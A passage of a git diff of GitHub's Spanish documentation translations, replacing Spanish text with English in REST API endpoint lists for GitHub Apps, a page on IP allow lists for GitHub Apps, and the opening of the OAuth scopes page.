restrictions](/rest/reference/repos#add-team-access-restrictions) +* [Set team access restrictions](/rest/reference/repos#set-team-access-restrictions) +* [Remove team access restriction](/rest/reference/repos#remove-team-access-restrictions) +* [List user restrictions of protected branch](/rest/reference/repos#list-users-with-access-to-the-protected-branch) +* [Add user access restrictions](/rest/reference/repos#add-user-access-restrictions) +* [Set user access restrictions](/rest/reference/repos#set-user-access-restrictions) +* [Remove user access restrictions](/rest/reference/repos#remove-user-access-restrictions) +* [Merge a branch](/rest/reference/repos#merge-a-branch) -#### Colaboradores del Repositorio +#### Repository Collaborators -* [Listar los colaboradores del repositorio](/rest/reference/repos#list-repository-collaborators) -* [Verificar si un usuario es colaborador de un repositorio](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator) -* [Agregar un colaborador de repositorio](/rest/reference/repos#add-a-repository-collaborator) -* [Eliminar a un colaborador del repositorio](/rest/reference/repos#remove-a-repository-collaborator) -* [Obtener permisos del repositorio para un usuario](/rest/reference/repos#get-repository-permissions-for-a-user) +* [List repository collaborators](/rest/reference/repos#list-repository-collaborators) +* [Check if a user is a repository collaborator](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator) +* [Add a repository collaborator](/rest/reference/repos#add-a-repository-collaborator) +* [Remove a repository collaborator](/rest/reference/repos#remove-a-repository-collaborator) +* [Get repository permissions for a user](/rest/reference/repos#get-repository-permissions-for-a-user) -#### Comentarios de Confirmaciones de un Repositorio +#### Repository Commit Comments -* [Listar los comentarios de confirmaciones en un repositorio](/rest/reference/repos#list-commit-comments-for-a-repository) -* [Obtener un comentario de una confirmación](/rest/reference/repos#get-a-commit-comment) -* [Actualizar un comentario de una confirmación](/rest/reference/repos#update-a-commit-comment) -* [Borrar un comentario de una confirmación](/rest/reference/repos#delete-a-commit-comment) -* [Listar los comentarios de una confirmación](/rest/reference/repos#list-commit-comments) -* [Crear un comentario de una confirmación](/rest/reference/repos#create-a-commit-comment) +* [List commit comments for a repository](/rest/reference/repos#list-commit-comments-for-a-repository) +* [Get a commit comment](/rest/reference/repos#get-a-commit-comment) +* [Update a commit comment](/rest/reference/repos#update-a-commit-comment) +* [Delete a commit comment](/rest/reference/repos#delete-a-commit-comment) +* [List commit comments](/rest/reference/repos#list-commit-comments) +* [Create a commit comment](/rest/reference/repos#create-a-commit-comment) -#### Confirmaciones de Repositorio +#### Repository Commits -* [Listar confirmaciones](/rest/reference/repos#list-commits) -* [Obtener una confirmación](/rest/reference/repos#get-a-commit) -* [Listar ramas para la confirmación principal](/rest/reference/repos#list-branches-for-head-commit) -* [Listar solicitudes de extracción asociadas con una confirmación](/rest/reference/repos#list-pull-requests-associated-with-commit) +* [List commits](/rest/reference/repos#list-commits) +* [Get a commit](/rest/reference/repos#get-a-commit) +* [List branches for head commit](/rest/reference/repos#list-branches-for-head-commit) +* [List pull requests associated with commit](/rest/reference/repos#list-pull-requests-associated-with-commit) -#### Comunidad del Repositorio +#### Repository Community -* [Obtener el código de conducta de un repositorio](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository) +* [Get the code of conduct for a repository](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository) {% ifversion fpt or ghec %} -* [Obtener las métricas de perfil de la comunidad](/rest/reference/repos#get-community-profile-metrics) +* [Get community profile metrics](/rest/reference/repos#get-community-profile-metrics) {% endif %} -#### Contenido de los Repositorios +#### Repository Contents -* [Descargar un archivo de un repositorio](/rest/reference/repos#download-a-repository-archive) -* [Obtener el contenido de un repositorio](/rest/reference/repos#get-repository-content) -* [Crear o actualizar los contenidos de archivo](/rest/reference/repos#create-or-update-file-contents) -* [Borrar un archivo](/rest/reference/repos#delete-a-file) -* [Obtener el README de un repositorio](/rest/reference/repos#get-a-repository-readme) -* [Obtener la licencia para un repositorio](/rest/reference/licenses#get-the-license-for-a-repository) +* [Download a repository archive](/rest/reference/repos#download-a-repository-archive) +* [Get repository content](/rest/reference/repos#get-repository-content) +* [Create or update file contents](/rest/reference/repos#create-or-update-file-contents) +* [Delete a file](/rest/reference/repos#delete-a-file) +* [Get a repository README](/rest/reference/repos#get-a-repository-readme) +* [Get the license for a repository](/rest/reference/licenses#get-the-license-for-a-repository) {% ifversion fpt or ghes or ghae or ghec %} -#### Envíos de Evento de un Repositorio +#### Repository Event Dispatches -* [Crear un evento de envío de un repositorio](/rest/reference/repos#create-a-repository-dispatch-event) +* [Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event) {% endif %} -#### Ganchos de Repositorio +#### Repository Hooks -* [Listar los webhooks de un repositorio](/rest/reference/repos#list-repository-webhooks) -* [Crear un webhook para un repositorio](/rest/reference/repos#create-a-repository-webhook) -* [Obtener un webhook para un repositorio](/rest/reference/repos#get-a-repository-webhook) -* [Actualizar el webhook de un repositorio](/rest/reference/repos#update-a-repository-webhook) -* [Borrar el webhook de un repositorio](/rest/reference/repos#delete-a-repository-webhook) -* [Hacer ping al webhook de un repositorio](/rest/reference/repos#ping-a-repository-webhook) -* [Probar el webhook de carga a un repositorio](/rest/reference/repos#test-the-push-repository-webhook) +* [List repository webhooks](/rest/reference/repos#list-repository-webhooks) +* [Create a repository webhook](/rest/reference/repos#create-a-repository-webhook) +* [Get a repository webhook](/rest/reference/repos#get-a-repository-webhook) +* [Update a repository webhook](/rest/reference/repos#update-a-repository-webhook) +* [Delete a repository webhook](/rest/reference/repos#delete-a-repository-webhook) +* [Ping a repository webhook](/rest/reference/repos#ping-a-repository-webhook) +* [Test the push repository webhook](/rest/reference/repos#test-the-push-repository-webhook) -#### Invitaciones a un repositorio +#### Repository Invitations -* [Listar las invitaciones a un repositorio](/rest/reference/repos#list-repository-invitations) -* [Actualizar la invitación a un repositorio](/rest/reference/repos#update-a-repository-invitation) -* [Borrar la invitación a un repositorio](/rest/reference/repos#delete-a-repository-invitation) -* [Listar las invitaciones a un repositorio para el usuario autenticado](/rest/reference/repos#list-repository-invitations-for-the-authenticated-user) -* [Aceptar la invitación a un repositorio](/rest/reference/repos#accept-a-repository-invitation) -* [Rechazar la invitación a un repositorio](/rest/reference/repos#decline-a-repository-invitation) +* [List repository invitations](/rest/reference/repos#list-repository-invitations) +* [Update a repository invitation](/rest/reference/repos#update-a-repository-invitation) +* [Delete a repository invitation](/rest/reference/repos#delete-a-repository-invitation) +* [List repository invitations for the authenticated user](/rest/reference/repos#list-repository-invitations-for-the-authenticated-user) +* [Accept a repository invitation](/rest/reference/repos#accept-a-repository-invitation) +* [Decline a repository invitation](/rest/reference/repos#decline-a-repository-invitation) -#### Claves de Repositorio +#### Repository Keys -* [Listar claves de despliegue](/rest/reference/repos#list-deploy-keys) -* [Crear una clave de despliegue](/rest/reference/repos#create-a-deploy-key) -* [Obtener una clave de despliegue](/rest/reference/repos#get-a-deploy-key) -* [Borrar una clave de despiegue](/rest/reference/repos#delete-a-deploy-key) +* [List deploy keys](/rest/reference/repos#list-deploy-keys) +* [Create a deploy key](/rest/reference/repos#create-a-deploy-key) +* [Get a deploy key](/rest/reference/repos#get-a-deploy-key) +* [Delete a deploy key](/rest/reference/repos#delete-a-deploy-key) -#### Páginas de Repositorio +#### Repository Pages -* [Obtener un sitio de GitHub Pages](/rest/reference/repos#get-a-github-pages-site) -* [Crear un sitio de GitHub Pages](/rest/reference/repos#create-a-github-pages-site) -* [Actualizar la información acerca de un sitio de GitHub Pages](/rest/reference/repos#update-information-about-a-github-pages-site) -* [Borrar un sitio de GitHub Pages](/rest/reference/repos#delete-a-github-pages-site) -* [Listar las compilaciones de GitHub Pages](/rest/reference/repos#list-github-pages-builds) -* [Solicitar una compilación de GitHub Pages](/rest/reference/repos#request-a-github-pages-build) -* [Obtener una compilación de GitHub Pages](/rest/reference/repos#get-github-pages-build) -* [Obtener la última compilación de pages](/rest/reference/repos#get-latest-pages-build) +* [Get a GitHub Pages site](/rest/reference/repos#get-a-github-pages-site) +* [Create a GitHub Pages site](/rest/reference/repos#create-a-github-pages-site) +* [Update information about a GitHub Pages site](/rest/reference/repos#update-information-about-a-github-pages-site) +* [Delete a GitHub Pages site](/rest/reference/repos#delete-a-github-pages-site) +* [List GitHub Pages builds](/rest/reference/repos#list-github-pages-builds) +* [Request a GitHub Pages build](/rest/reference/repos#request-a-github-pages-build) +* [Get GitHub Pages build](/rest/reference/repos#get-github-pages-build) +* [Get latest pages build](/rest/reference/repos#get-latest-pages-build) {% ifversion ghes %} -#### Ganchos de Pre-recepción de un Repositorio +#### Repository Pre Receive Hooks -* [Listar los ganchos de pre-recepción para un repositorio](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) -* [Obtener un gancho de pre-recepción de un repositorio](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) -* [Actualizar el requerir ganchos de pre-recepción en un repositorio](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository) -* [Eliminar el requerir ganchos de pre-recepción para un repositorio](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) +* [List pre-receive hooks for a repository](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) +* [Get a pre-receive hook for a repository](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) +* [Update pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository) +* [Remove pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) {% endif %} -#### Lanzamientos de repositorio +#### Repository Releases -* [Listar los lanzamientos](/rest/reference/repos/#list-releases) -* [Crear un lanzamiento](/rest/reference/repos/#create-a-release) -* [Obtener un lanzamiento](/rest/reference/repos/#get-a-release) -* [Actualizar un lanzamiento](/rest/reference/repos/#update-a-release) -* [Borrar un lanzamiento](/rest/reference/repos/#delete-a-release) -* [Listar activos de lanzamiento](/rest/reference/repos/#list-release-assets) -* [Obtener un activo de lanzamiento](/rest/reference/repos/#get-a-release-asset) -* [Actualizar un activo de lanzamiento](/rest/reference/repos/#update-a-release-asset) -* [Borrar un activo de lanzamiento](/rest/reference/repos/#delete-a-release-asset) -* [Obtener el lanzamiento más reciente](/rest/reference/repos/#get-the-latest-release) -* [Obtener un lanzamiento por nombre de matrícula](/rest/reference/repos/#get-a-release-by-tag-name) +* [List releases](/rest/reference/repos/#list-releases) +* [Create a release](/rest/reference/repos/#create-a-release) +* [Get a release](/rest/reference/repos/#get-a-release) +* [Update a release](/rest/reference/repos/#update-a-release) +* [Delete a release](/rest/reference/repos/#delete-a-release) +* [List release assets](/rest/reference/repos/#list-release-assets) +* [Get a release asset](/rest/reference/repos/#get-a-release-asset) +* [Update a release asset](/rest/reference/repos/#update-a-release-asset) +* [Delete a release asset](/rest/reference/repos/#delete-a-release-asset) +* [Get the latest release](/rest/reference/repos/#get-the-latest-release) +* [Get a release by tag name](/rest/reference/repos/#get-a-release-by-tag-name) -#### Estadísticas de Repositorio +#### Repository Stats -* [Obtener la actividad de confirmaciones semanal](/rest/reference/repos#get-the-weekly-commit-activity) -* [Obtener la actividad de confirmaciones del año pasado](/rest/reference/repos#get-the-last-year-of-commit-activity) -* [Obtener la actividad de confirmaciones de todos los colaboradores](/rest/reference/repos#get-all-contributor-commit-activity) -* [Obtener la cuenta semanal de confirmaciones](/rest/reference/repos#get-the-weekly-commit-count) -* [Obtener la cuenta de confirmaciones por hora para cada día](/rest/reference/repos#get-the-hourly-commit-count-for-each-day) +* [Get the weekly commit activity](/rest/reference/repos#get-the-weekly-commit-activity) +* [Get the last year of commit activity](/rest/reference/repos#get-the-last-year-of-commit-activity) +* [Get all contributor commit activity](/rest/reference/repos#get-all-contributor-commit-activity) +* [Get the weekly commit count](/rest/reference/repos#get-the-weekly-commit-count) +* [Get the hourly commit count for each day](/rest/reference/repos#get-the-hourly-commit-count-for-each-day) {% ifversion fpt or ghec %} -#### Alertas de Vulnerabilidad en Repositorios +#### Repository Vulnerability Alerts -* [Habilitar las alertas de vulnerabilidades](/rest/reference/repos#enable-vulnerability-alerts) -* [Inhabilitar las alertas de vulnerabilidades](/rest/reference/repos#disable-vulnerability-alerts) +* [Enable vulnerability alerts](/rest/reference/repos#enable-vulnerability-alerts) +* [Disable vulnerability alerts](/rest/reference/repos#disable-vulnerability-alerts) {% endif %} -#### Raíz +#### Root -* [Terminal raíz](/rest#root-endpoint) +* [Root endpoint](/rest#root-endpoint) * [Emojis](/rest/reference/emojis#emojis) -* [Obtener un estado de límite de tasa para el usuario autenticado](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) +* [Get rate limit status for the authenticated user](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user) -#### Buscar +#### Search -* [Buscar código](/rest/reference/search#search-code) -* [Buscar confirmaciones](/rest/reference/search#search-commits) -* [Buscar etiquetas](/rest/reference/search#search-labels) -* [Buscar repositorios](/rest/reference/search#search-repositories) -* [Buscar temas](/rest/reference/search#search-topics) -* [Buscar usuarios](/rest/reference/search#search-users) +* [Search code](/rest/reference/search#search-code) +* [Search commits](/rest/reference/search#search-commits) +* [Search labels](/rest/reference/search#search-labels) +* [Search repositories](/rest/reference/search#search-repositories) +* [Search topics](/rest/reference/search#search-topics) +* [Search users](/rest/reference/search#search-users) -#### Estados +#### Statuses -* [Obtener el estado combinado para una referencia específica](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) -* [Listar los estados de confirmación para una referencia](/rest/reference/repos#list-commit-statuses-for-a-reference) -* [Crear un estado de confirmación](/rest/reference/repos#create-a-commit-status) +* [Get the combined status for a specific reference](/rest/reference/repos#get-the-combined-status-for-a-specific-reference) +* [List commit statuses for a reference](/rest/reference/repos#list-commit-statuses-for-a-reference) +* [Create a commit status](/rest/reference/repos#create-a-commit-status) -#### Debates de Equipo +#### Team Discussions -* [Listar debates](/rest/reference/teams#list-discussions) -* [Crear un debate](/rest/reference/teams#create-a-discussion) -* [Obtener un debate](/rest/reference/teams#get-a-discussion) -* [Actualizar un debate](/rest/reference/teams#update-a-discussion) -* [Borrar un debate](/rest/reference/teams#delete-a-discussion) -* [Listar los comentarios del debate](/rest/reference/teams#list-discussion-comments) -* [Crear un comentario sobre un debate](/rest/reference/teams#create-a-discussion-comment) -* [Obtener un comentario de un debate](/rest/reference/teams#get-a-discussion-comment) -* [Actualizar un comentario en un debate](/rest/reference/teams#update-a-discussion-comment) -* [Borrar un comentario de un debate](/rest/reference/teams#delete-a-discussion-comment) +* [List discussions](/rest/reference/teams#list-discussions) +* [Create a discussion](/rest/reference/teams#create-a-discussion) +* [Get a discussion](/rest/reference/teams#get-a-discussion) +* [Update a discussion](/rest/reference/teams#update-a-discussion) +* [Delete a discussion](/rest/reference/teams#delete-a-discussion) +* [List discussion comments](/rest/reference/teams#list-discussion-comments) +* [Create a discussion comment](/rest/reference/teams#create-a-discussion-comment) +* [Get a discussion comment](/rest/reference/teams#get-a-discussion-comment) +* [Update a discussion comment](/rest/reference/teams#update-a-discussion-comment) +* [Delete a discussion comment](/rest/reference/teams#delete-a-discussion-comment) -#### Temas +#### Topics -* [Obtener todos los temas de un repositorio](/rest/reference/repos#get-all-repository-topics) -* [Reemplazar todos los temas de un repositorio](/rest/reference/repos#replace-all-repository-topics) +* [Get all repository topics](/rest/reference/repos#get-all-repository-topics) +* [Replace all repository topics](/rest/reference/repos#replace-all-repository-topics) {% ifversion fpt or ghec %} -#### Tráfico +#### Traffic -* [Obtener los clones de un repositorio](/rest/reference/repos#get-repository-clones) -* [Obtener las rutas de referencia superior](/rest/reference/repos#get-top-referral-paths) -* [Obtener las fuentes de referencia superior](/rest/reference/repos#get-top-referral-sources) -* [Obtener las visualizaciones de página](/rest/reference/repos#get-page-views) +* [Get repository clones](/rest/reference/repos#get-repository-clones) +* [Get top referral paths](/rest/reference/repos#get-top-referral-paths) +* [Get top referral sources](/rest/reference/repos#get-top-referral-sources) +* [Get page views](/rest/reference/repos#get-page-views) {% endif %} {% ifversion fpt or ghec %} -#### Bloquear Usuarios +#### User Blocking -* [Listar a los usuarios que ha bloqueado el usuario autenticado](/rest/reference/users#list-users-blocked-by-the-authenticated-user) -* [Verificar si el usuario autenticado bloqueó a un usuario](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) -* [Listar a los usuarios que habloqueado la organización](/rest/reference/orgs#list-users-blocked-by-an-organization) -* [Verificar si una organización bloqueó a un usuario](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) -* [Bloquear a un usuario de una organización](/rest/reference/orgs#block-a-user-from-an-organization) -* [Desbloquear a un usuario de una organización](/rest/reference/orgs#unblock-a-user-from-an-organization) -* [Bloquear a un usuario](/rest/reference/users#block-a-user) -* [Desbloquear a un usuario](/rest/reference/users#unblock-a-user) +* [List users blocked by the authenticated user](/rest/reference/users#list-users-blocked-by-the-authenticated-user) +* [Check if a user is blocked by the authenticated user](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) +* [List users blocked by an organization](/rest/reference/orgs#list-users-blocked-by-an-organization) +* [Check if a user is blocked by an organization](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization) +* [Block a user from an organization](/rest/reference/orgs#block-a-user-from-an-organization) +* [Unblock a user from an organization](/rest/reference/orgs#unblock-a-user-from-an-organization) +* [Block a user](/rest/reference/users#block-a-user) +* [Unblock a user](/rest/reference/users#unblock-a-user) {% endif %} {% ifversion fpt or ghes or ghec %} -#### Correo Electrónico de Usuario +#### User Emails {% ifversion fpt or ghec %} -* [Configurar la visibilidad del correo electrónico principal para el usuario autenticado](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) +* [Set primary email visibility for the authenticated user](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) {% endif %} -* [Listar las direcciones de correo electrónico para el usuario autenticado](/rest/reference/users#list-email-addresses-for-the-authenticated-user) -* [Agregar la(s) dirección(es) de correo electrónico](/rest/reference/users#add-an-email-address-for-the-authenticated-user) -* [Borrar la(s) direccion(es) de correo electrónico](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) -* [Listar las direcciones de correo electrónico del usuario autenticado](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) +* [List email addresses for the authenticated user](/rest/reference/users#list-email-addresses-for-the-authenticated-user) +* [Add email address(es)](/rest/reference/users#add-an-email-address-for-the-authenticated-user) +* [Delete email address(es)](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) +* [List public email addresses for the authenticated user](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) {% endif %} -#### Seguidores del Usuario +#### User Followers -* [Listar los seguidores de un usuario](/rest/reference/users#list-followers-of-a-user) -* [Listar a las personas que sigue un usuario](/rest/reference/users#list-the-people-a-user-follows) -* [Revisar si el usuario autenticado sigue a una persona](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) -* [Seguir a un usuario](/rest/reference/users#follow-a-user) -* [Dejar de seguri a un usuario](/rest/reference/users#unfollow-a-user) -* [Verificar si el usuario sigue a otro usuario](/rest/reference/users#check-if-a-user-follows-another-user) +* [List followers of a user](/rest/reference/users#list-followers-of-a-user) +* [List the people a user follows](/rest/reference/users#list-the-people-a-user-follows) +* [Check if a person is followed by the authenticated user](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) +* [Follow a user](/rest/reference/users#follow-a-user) +* [Unfollow a user](/rest/reference/users#unfollow-a-user) +* [Check if a user follows another user](/rest/reference/users#check-if-a-user-follows-another-user) -#### Utilizar Llaves Gpg +#### User Gpg Keys -* [Listar las llaves GPG para el usuario autenticado](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) -* [Crear una llave GPG para el usuario autenticado](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) -* [Obtener una llave GPG para el usuario autenticado](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) -* [Borrar una llave GPG para el usuario autenticado](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) -* [Listar las llaves GPG de un usuario](/rest/reference/users#list-gpg-keys-for-a-user) +* [List GPG keys for the authenticated user](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) +* [Create a GPG key for the authenticated user](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) +* [Get a GPG key for the authenticated user](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) +* [Delete a GPG key for the authenticated user](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) +* [List gpg keys for a user](/rest/reference/users#list-gpg-keys-for-a-user) -#### Llaves Públicas de Usuario +#### User Public Keys -* [Listar las llaves SSH para el usuario autenticado](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) -* [Crear una llave SSH para el usuario autenticado](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) -* [Obtener una llave SSH pública para el usuario autenticado](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) -* [Borrar una llave pública de SSH para el usuario autenticado](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) -* [Listar las llaves públicas de un usuario](/rest/reference/users#list-public-keys-for-a-user) +* [List public SSH keys for the authenticated user](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) +* [Create a public SSH key for the authenticated user](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) +* [Get a public SSH key for the authenticated user](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) +* [Delete a public SSH key for the authenticated user](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) +* [List public keys for a user](/rest/reference/users#list-public-keys-for-a-user) -#### Usuarios +#### Users -* [Obtener al usuario autenticado](/rest/reference/users#get-the-authenticated-user) -* [Listar las instalaciones de apps accesibles para el token de acceso del usuario](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) +* [Get the authenticated user](/rest/reference/users#get-the-authenticated-user) +* [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token) {% ifversion fpt or ghec %} -* [Listar las suscripciones del usuario autenticado](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) +* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user) {% endif %} -* [Listar usuarios](/rest/reference/users#list-users) -* [Obtener un usuario](/rest/reference/users#get-a-user) +* [List users](/rest/reference/users#list-users) +* [Get a user](/rest/reference/users#get-a-user) {% ifversion fpt or ghec %} -#### Ejecuciones de Flujo de Trabajo +#### Workflow Runs -* [Listar las ejecuciones de flujode trabajo de un repositorio](/rest/reference/actions#list-workflow-runs-for-a-repository) -* [Obtener una ejecución de flujo de trabajo](/rest/reference/actions#get-a-workflow-run) -* [Cancelar una ejecución de flujo de trabajo](/rest/reference/actions#cancel-a-workflow-run) -* [Descargar las bitácoras de ejecución de flujo de trabajo](/rest/reference/actions#download-workflow-run-logs) -* [Borrar las bitácoras de ejecución de flujo de trabajo](/rest/reference/actions#delete-workflow-run-logs) -* [Re-ejecutar un flujo de trabajo](/rest/reference/actions#re-run-a-workflow) -* [Listar las ejecuciones de flujo de trabajo](/rest/reference/actions#list-workflow-runs) -* [Obtener las estadísticas de uso de las ejecuciones de flujo de trabajo](/rest/reference/actions#get-workflow-run-usage) +* [List workflow runs for a repository](/rest/reference/actions#list-workflow-runs-for-a-repository) +* [Get a workflow run](/rest/reference/actions#get-a-workflow-run) +* [Cancel a workflow run](/rest/reference/actions#cancel-a-workflow-run) +* [Download workflow run logs](/rest/reference/actions#download-workflow-run-logs) +* [Delete workflow run logs](/rest/reference/actions#delete-workflow-run-logs) +* [Re run a workflow](/rest/reference/actions#re-run-a-workflow) +* [List workflow runs](/rest/reference/actions#list-workflow-runs) +* [Get workflow run usage](/rest/reference/actions#get-workflow-run-usage) {% endif %} {% ifversion fpt or ghec %} -#### Flujos de trabajo +#### Workflows -* [Listar los flujos de trabajo del repositorio](/rest/reference/actions#list-repository-workflows) -* [Obtener un flujo de trabajo](/rest/reference/actions#get-a-workflow) -* [Obtener el uso de un flujo de trabajo](/rest/reference/actions#get-workflow-usage) +* [List repository workflows](/rest/reference/actions#list-repository-workflows) +* [Get a workflow](/rest/reference/actions#get-a-workflow) +* [Get workflow usage](/rest/reference/actions#get-workflow-usage) {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Leer más +## Further reading -- "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)" +- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)" {% endif %} diff --git a/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md index 7b39f1eac7..54b69c1a34 100644 --- a/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md +++ b/translations/es-ES/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md @@ -1,34 +1,35 @@ --- -title: Administrar las direcciones IP permitidas para una GitHub App -intro: 'Puedes agregar una lista de direcciones IP permitidas a tu {% data variables.product.prodname_github_app %} para prevenir que se bloquee con la lista de direcciones permitidas propia de la organización.' +title: Managing allowed IP addresses for a GitHub App +intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.' versions: fpt: '*' ghae: '*' ghec: '*' topics: - GitHub Apps -shortTitle: Administrar las direcciones IP permitidas +shortTitle: Manage allowed IP addresses --- -## Acerca de las listas de direcciones IP permitidas para las {% data variables.product.prodname_github_apps %} +## About IP address allow lists for {% data variables.product.prodname_github_apps %} -Los propietarios de organizaciones y empresas pueden restringir el acceso a los activos si configuran una lista de direcciones IP permitidas. Esta lista especifica las direcciones IP a las que se les permite conectarse. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." +Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)." -Cuando una organización tiene una lista de direcciones permitidas, se negará el acceso a las aplicaciones de terceros que se conecten a través de una {% data variables.product.prodname_github_app %}, a menos de que ambas condiciones siguientes sean verdaderas: +When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true: -* El creador de {% data variables.product.prodname_github_app %} configuró una lista de direcciones permitidas para la aplicación, la cual especifica las direcciones IP en donde se ejecuta la aplicación. Consulta los detalles de cómo hacerlo a continuación. -* El propietario de la organización eligió permitir que las direcciones en la lista de direcciones permitidas de la {% data variables.product.prodname_github_app %} se agreguen a su propia lista de direcciones permitidas. Para obtener más información, consulta "[Administrar las direcciones IP permitidas en tu organización](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)". +* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this. +* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#allowing-access-by-github-apps)." {% data reusables.apps.ip-allow-list-only-apps %} -## Agrega una lista de direcciones IP permitidas a una {% data variables.product.prodname_github_app %} +## Adding an IP address allow list to a {% data variables.product.prodname_github_app %} {% data reusables.apps.settings-step %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.github_apps %} {% data reusables.user-settings.modify_github_app %} -1. Desplázate hacia abajo para encontrar la sección de "lista de direcciones IP permitidas". ![Sección de información básica para tu GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png) +1. Scroll down to the "IP allow list" section. +![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png) {% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} {% data reusables.identity-and-permissions.ip-allow-lists-add-description %} - La descripción es para tu referencia y no se utiliza en la lista de direcciones permitidas de las organizaciones en donde está instalada la {% data variables.product.prodname_github_app %}. En vez de esto, las listas de direcciones permitidas de la organización incluirán "Managed by the NAME GitHub App" como descripción. + The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description. {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} diff --git a/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md index 740129d47e..3dc9de0fb9 100644 --- a/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md +++ b/translations/es-ES/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -1,5 +1,5 @@ --- -title: Alcances para las Apps de OAuth +title: Scopes for OAuth Apps intro: '{% data reusables.shortdesc.understanding_scopes_for_oauth_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps/ @@ -14,18 +14,17 @@ versions: topics: - OAuth Apps --- - -Cuando estás configurando una App de OAuth en GitHub, los alcances solicitados se muestran al usuario en el formato de autorización. +When setting up an OAuth App on GitHub, requested scopes are displayed to the user on the authorization form. {% note %} -**Nota:** Si estás creando una GitHub App, no necesitas proporcionar alcances en tu solicitud de autorización. Para obtener más información sobre esto, consulta la sección 